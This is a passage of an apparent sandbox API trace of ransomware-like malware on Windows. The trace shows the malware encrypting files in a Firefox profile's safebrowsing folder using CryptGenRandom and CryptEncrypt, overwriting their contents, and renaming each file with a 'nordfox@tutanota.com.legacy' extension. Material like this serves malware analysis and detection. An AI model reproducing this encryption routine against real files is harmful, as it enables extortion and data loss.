lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.622] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.622] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.622] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.623] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.623] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.623] CloseHandle (hObject=0x1a4c) returned 1 [0177.624] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.626] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.626] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.626] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset", dwFileAttributes=0x80) returned 1 [0177.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9a38 [0177.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a568 [0177.627] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20210, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20210*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.627] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.628] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20138*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20138*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.628] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.628] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.628] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.628] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.628] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.629] CloseHandle (hObject=0x1a4c) returned 1 [0177.629] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.630] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.631] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0177.631] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30cab70 [0177.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a818 [0177.631] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e67e0, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e67e0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.632] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.632] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e7140*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7140*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.633] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.633] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.633] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.633] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.633] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.633] CloseHandle (hObject=0x1a4c) returned 1 [0177.634] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.635] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset", dwFileAttributes=0x80) returned 1 [0177.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30cab70 [0177.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a160 [0177.636] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20108, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20108*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.636] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.636] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e200a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e200a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.637] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.637] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.637] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.637] CloseHandle (hObject=0x1a4c) returned 1 [0177.638] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.639] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.639] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.639] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9b20 [0177.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a160 [0177.640] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e7140, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7140*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.641] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.641] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e6ab0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.641] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.641] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.641] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.641] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.642] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.642] CloseHandle (hObject=0x1a4c) returned 1 [0177.642] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.644] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.644] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.644] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset", dwFileAttributes=0x80) returned 1 [0177.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30cab70 [0177.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x609eb0 [0177.645] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20180, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20180*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.645] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.646] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20318*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20318*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.646] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.646] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.647] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.647] CloseHandle (hObject=0x1a4c) returned 1 [0177.647] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.649] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.649] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.649] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0177.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d5a08 [0177.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618a40 [0177.651] ReadFile (in: hFile=0x1a4c, lpBuffer=0x343a010, nNumberOfBytesToRead=0x55810, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0x55810, lpOverlapped=0x0) returned 1 [0177.676] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-350224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.676] WriteFile (in: hFile=0x1a4c, lpBuffer=0x348f828*, nNumberOfBytesToWrite=0x55810, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x348f828*, lpNumberOfBytesWritten=0x2e1f9bc*=0x55810, lpOverlapped=0x0) returned 1 [0177.680] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x55810 [0177.680] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.681] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.681] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.682] CloseHandle (hObject=0x1a4c) returned 1 [0177.682] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.688] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.688] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.688] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset", dwFileAttributes=0x80) returned 1 [0177.688] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d5ee0 [0177.688] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618460 [0177.688] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20228, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20228*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.689] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.689] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e201e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e201e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.689] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.690] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.690] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.690] CloseHandle (hObject=0x1a4c) returned 1 [0177.690] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.692] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.692] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.692] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0177.692] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d5340 [0177.692] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618d30 [0177.692] ReadFile (in: 